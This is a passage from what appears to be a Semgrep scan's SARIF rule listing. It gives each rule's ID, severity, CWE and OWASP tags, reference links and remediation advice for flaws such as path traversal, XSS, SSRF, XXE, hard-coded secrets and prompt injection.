untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.file.tainted-shelve-aws-lambda.tainted-shelve-aws-lambda)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.file.tainted-shelve-aws-lambda.tainted-shelve-aws-lambda","id":"python.aws-lambda.file.tainted-shelve-aws-lambda.tainted-shelve-aws-lambda","name":"python.aws-lambda.file.tainted-shelve-aws-lambda.tainted-shelve-aws-lambda","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.file.tainted-shelve-aws-lambda.tainted-shelve-aws-lambda"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.net.http.base64-encoded-hardcoded-secret.base64-encoded-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/java.lang.security.net.http.base64-encoded-hardcoded-secret.base64-encoded-hardcoded-secret","id":"java.lang.security.net.http.base64-encoded-hardcoded-secret.base64-encoded-hardcoded-secret","name":"java.lang.security.net.http.base64-encoded-hardcoded-secret.base64-encoded-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","MEDIUM CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.net.http.base64-encoded-hardcoded-secret.base64-encoded-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.browser.decoded-xss.decoded-xss)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input."},"helpUri":"https://semgrep.dev/r/javascript.browser.decoded-xss.decoded-xss","id":"javascript.browser.decoded-xss.decoded-xss","name":"javascript.browser.decoded-xss.decoded-xss","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.browser.decoded-xss.decoded-xss"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Enabling authentication ensures that all communications in the application are authenticated. The `auth_settings` block needs to be filled out with the appropriate auth backend settings"},"help":{"markdown":"Enabling authentication ensures that all communications in the application are authenticated. The `auth_settings` block needs to be filled out with the appropriate auth backend settings\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.azure.security.functionapp.functionapp-authentication-enabled.functionapp-authentication-enabled)\n - [https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/function_app#enabled](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/function_app#enabled)\n","text":"Enabling authentication ensures that all communications in the application are authenticated. The `auth_settings` block needs to be filled out with the appropriate auth backend settings"},"helpUri":"https://semgrep.dev/r/terraform.azure.security.functionapp.functionapp-authentication-enabled.functionapp-authentication-enabled","id":"terraform.azure.security.functionapp.functionapp-authentication-enabled.functionapp-authentication-enabled","name":"terraform.azure.security.functionapp.functionapp-authentication-enabled.functionapp-authentication-enabled","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","LOW CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.azure.security.functionapp.functionapp-authentication-enabled.functionapp-authentication-enabled"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected user input flowing into a manually constructed HTML string. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data. To be sure this is safe, check that the HTML is rendered safely. Otherwise, use templates which will safely render HTML instead."},"help":{"markdown":"Detected user input flowing into a manually constructed HTML string. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data. To be sure this is safe, check that the HTML is rendered safely. Otherwise, use templates which will safely render HTML instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.aws-lambda.security.tainted-html-string.tainted-html-string)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected user input flowing into a manually constructed HTML string. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data. To be sure this is safe, check that the HTML is rendered safely. Otherwise, use templates which will safely render HTML instead."},"helpUri":"https://semgrep.dev/r/javascript.aws-lambda.security.tainted-html-string.tainted-html-string","id":"javascript.aws-lambda.security.tainted-html-string.tainted-html-string","name":"javascript.aws-lambda.security.tainted-html-string.tainted-html-string","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.aws-lambda.security.tainted-html-string.tainted-html-string"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detects creations of $HTTPS servers from option objects that don't disallow SSL v2, SSL v3, and TLS v1. These protocols are deprecated due to POODLE, man in the middle attacks, and other vulnerabilities."},"help":{"markdown":"Detects creations of $HTTPS servers from option objects that don't disallow SSL v2, SSL v3, and TLS v1. These protocols are deprecated due to POODLE, man in the middle attacks, and other vulnerabilities.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.js-node.disallow-old-tls-versions2.disallow-old-tls-versions2)\n - [https://us-cert.cisa.gov/ncas/alerts/TA14-290A](https://us-cert.cisa.gov/ncas/alerts/TA14-290A)\n - [https://stackoverflow.com/questions/40434934/how-to-disable-the-ssl-3-0-and-tls-1-0-in-nodejs](https://stackoverflow.com/questions/40434934/how-to-disable-the-ssl-3-0-and-tls-1-0-in-nodejs)\n - [https://nodejs.org/api/https.html#https_https_createserver_options_requestlistener](https://nodejs.org/api/https.html#https_https_createserver_options_requestlistener)\n","text":"Detects creations of $HTTPS servers from option objects that don't disallow SSL v2, SSL v3, and TLS v1. These protocols are deprecated due to POODLE, man in the middle attacks, and other vulnerabilities."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.js-node.disallow-old-tls-versions2.disallow-old-tls-versions2","id":"problem-based-packs.insecure-transport.js-node.disallow-old-tls-versions2.disallow-old-tls-versions2","name":"problem-based-packs.insecure-transport.js-node.disallow-old-tls-versions2.disallow-old-tls-versions2","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.js-node.disallow-old-tls-versions2.disallow-old-tls-versions2"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.ssrf.httpclient-taint-concat-msg.httpclient-taint-concat-msg)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/java.micronaut.ssrf.httpclient-taint-concat-msg.httpclient-taint-concat-msg","id":"java.micronaut.ssrf.httpclient-taint-concat-msg.httpclient-taint-concat-msg","name":"java.micronaut.ssrf.httpclient-taint-concat-msg.httpclient-taint-concat-msg","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.ssrf.httpclient-taint-concat-msg.httpclient-taint-concat-msg"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the SAXReader parser with `parser.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, configuring both of the below also provides protection against XXE attacks. `parser.setFeature(\"http://xml.org/sax/features/external-general-entities\",false)` `praser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the SAXReader parser with `parser.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, configuring both of the below also provides protection against XXE attacks. `parser.setFeature(\"http://xml.org/sax/features/external-general-entities\",false)` `praser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.xxe.tainted-saxreader-xxe-spring.tainted-saxreader-xxe-spring)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/611.html](https://cwe.mitre.org/data/definitions/611.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the SAXReader parser with `parser.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, configuring both of the below also provides protection against XXE attacks. `parser.setFeature(\"http://xml.org/sax/features/external-general-entities\",false)` `praser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.spring.security.xxe.tainted-saxreader-xxe-spring.tainted-saxreader-xxe-spring","id":"java.spring.security.xxe.tainted-saxreader-xxe-spring.tainted-saxreader-xxe-spring","name":"java.spring.security.xxe.tainted-saxreader-xxe-spring.tainted-saxreader-xxe-spring","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.xxe.tainted-saxreader-xxe-spring.tainted-saxreader-xxe-spring"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can."},"help":{"markdown":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.xpath.tainted-xpath-sls.tainted-xpath-sls)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can."},"helpUri":"https://semgrep.dev/r/java.micronaut.xpath.tainted-xpath-sls.tainted-xpath-sls","id":"java.micronaut.xpath.tainted-xpath-sls.tainted-xpath-sls","name":"java.micronaut.xpath.tainted-xpath-sls.tainted-xpath-sls","properties":{"precision":"very-high","tags":["CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.xpath.tainted-xpath-sls.tainted-xpath-sls"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.sequelize.node-sequelize-hardcoded-secret-connection-string.node-sequelize-hardcoded-secret-connection-string)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.sequelize.node-sequelize-hardcoded-secret-connection-string.node-sequelize-hardcoded-secret-connection-string","id":"javascript.sequelize.node-sequelize-hardcoded-secret-connection-string.node-sequelize-hardcoded-secret-connection-string","name":"javascript.sequelize.node-sequelize-hardcoded-secret-connection-string.node-sequelize-hardcoded-secret-connection-string","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.sequelize.node-sequelize-hardcoded-secret-connection-string.node-sequelize-hardcoded-secret-connection-string"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Enabling authentication ensures that all communications in the application are authenticated. The `auth_settings` block needs to be filled out with the appropriate auth backend settings"},"help":{"markdown":"Enabling authentication ensures that all communications in the application are authenticated. The `auth_settings` block needs to be filled out with the appropriate auth backend settings\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.azure.security.appservice.appservice-authentication-enabled.appservice-authentication-enabled)\n - [https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/app_service#auth_settings](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/app_service#auth_settings)\n","text":"Enabling authentication ensures that all communications in the application are authenticated. The `auth_settings` block needs to be filled out with the appropriate auth backend settings"},"helpUri":"https://semgrep.dev/r/terraform.azure.security.appservice.appservice-authentication-enabled.appservice-authentication-enabled","id":"terraform.azure.security.appservice.appservice-authentication-enabled.appservice-authentication-enabled","name":"terraform.azure.security.appservice.appservice-authentication-enabled.appservice-authentication-enabled","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","MEDIUM CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.azure.security.appservice.appservice-authentication-enabled.appservice-authentication-enabled"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a logger that logs user input without properly neutralizing the output. The log message could contain characters like ` ` and ` ` and cause an attacker to forge log entries or include malicious content into the logs. Use proper input validation and/or output encoding to prevent log entries from being forged."},"help":{"markdown":"Detected a logger that logs user input without properly neutralizing the output. The log message could contain characters like ` ` and ` ` and cause an attacker to forge log entries or include malicious content into the logs. Use proper input validation and/or output encoding to prevent log entries from being forged.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.log.tainted-log-injection-stdlib-fastapi.tainted-log-injection-stdlib-fastapi)\n - [https://cwe.mitre.org/data/definitions/117.html](https://cwe.mitre.org/data/definitions/117.html)\n - [https://fastapi.palletsprojects.com/en/2.3.x/logging/](https://fastapi.palletsprojects.com/en/2.3.x/logging/)\n - [https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures](https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures)\n","text":"Detected a logger that logs user input without properly neutralizing the output. The log message could contain characters like ` ` and ` ` and cause an attacker to forge log entries or include malicious content into the logs. Use proper input validation and/or output encoding to prevent log entries from being forged."},"helpUri":"https://semgrep.dev/r/python.fastapi.log.tainted-log-injection-stdlib-fastapi.tainted-log-injection-stdlib-fastapi","id":"python.fastapi.log.tainted-log-injection-stdlib-fastapi.tainted-log-injection-stdlib-fastapi","name":"python.fastapi.log.tainted-log-injection-stdlib-fastapi.tainted-log-injection-stdlib-fastapi","properties":{"precision":"very-high","tags":["CWE-117: Improper Output Neutralization for Logs","HIGH CONFIDENCE","OWASP-A09:2021 - Security Logging and Monitoring Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.log.tainted-log-injection-stdlib-fastapi.tainted-log-injection-stdlib-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.requests.python-requests-hardcoded-auth.python-requests-hardcoded-auth)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.requests.python-requests-hardcoded-auth.python-requests-hardcoded-auth","id":"python.requests.python-requests-hardcoded-auth.python-requests-hardcoded-auth","name":"python.requests.python-requests-hardcoded-auth.python-requests-hardcoded-auth","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.requests.python-requests-hardcoded-auth.python-requests-hardcoded-auth"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The object is passed strictly to jwt.encode(...) Make sure that sensitive information is not exposed through JWT token payload."},"help":{"markdown":"The object is passed strictly to jwt.encode(...) Make sure that sensitive information is not exposed through JWT token payload.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.jwt.security.audit.jwt-exposed-data.jwt-python-exposed-data)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"The object is passed strictly to jwt.encode(...) Make sure that sensitive information is not exposed through JWT token payload."},"helpUri":"https://semgrep.dev/r/python.jwt.security.audit.jwt-exposed-data.jwt-python-exposed-data","id":"python.jwt.security.audit.jwt-exposed-data.jwt-python-exposed-data","name":"python.jwt.security.audit.jwt-exposed-data.jwt-python-exposed-data","properties":{"precision":"very-high","tags":["CWE-522: Insufficiently Protected Credentials","LOW CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: python.jwt.security.audit.jwt-exposed-data.jwt-python-exposed-data"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.secrets.mongodb.mongo-hardcoded-secret.mongo-hardcoded-secret)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/go.secrets.mongodb.mongo-hardcoded-secret.mongo-hardcoded-secret","id":"go.secrets.mongodb.mongo-hardcoded-secret.mongo-hardcoded-secret","name":"go.secrets.mongodb.mongo-hardcoded-secret.mongo-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.secrets.mongodb.mongo-hardcoded-secret.mongo-hardcoded-secret"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"A prompt is created and user-controlled data reaches that prompt. This can lead to prompt injection. Make sure the user inputs are properly segmented from the system's in your prompts."},"help":{"markdown":"A prompt is created and user-controlled data reaches that prompt. This can lead to prompt injection. Make sure the user inputs are properly segmented from the system's in your prompts.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.ai.prompt-injection-fastapi.prompt-injection-fastapi)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"A prompt is created and user-controlled data reaches that prompt. This can lead to prompt injection. Make sure the user inputs are properly segmented from the system's in your prompts."},"helpUri":"https://semgrep.dev/r/python.fastapi.ai.prompt-injection-fastapi.prompt-injection-fastapi","id":"python.fastapi.ai.prompt-injection-fastapi.prompt-injection-fastapi","name":"python.fastapi.ai.prompt-injection-fastapi.prompt-injection-fastapi","properties":{"precision":"very-high","tags":["CWE-75: Failure to Sanitize Special Elements into a Different Plane (Special Element Injection)","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.ai.prompt-injection-fastapi.prompt-injection-fastapi"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, 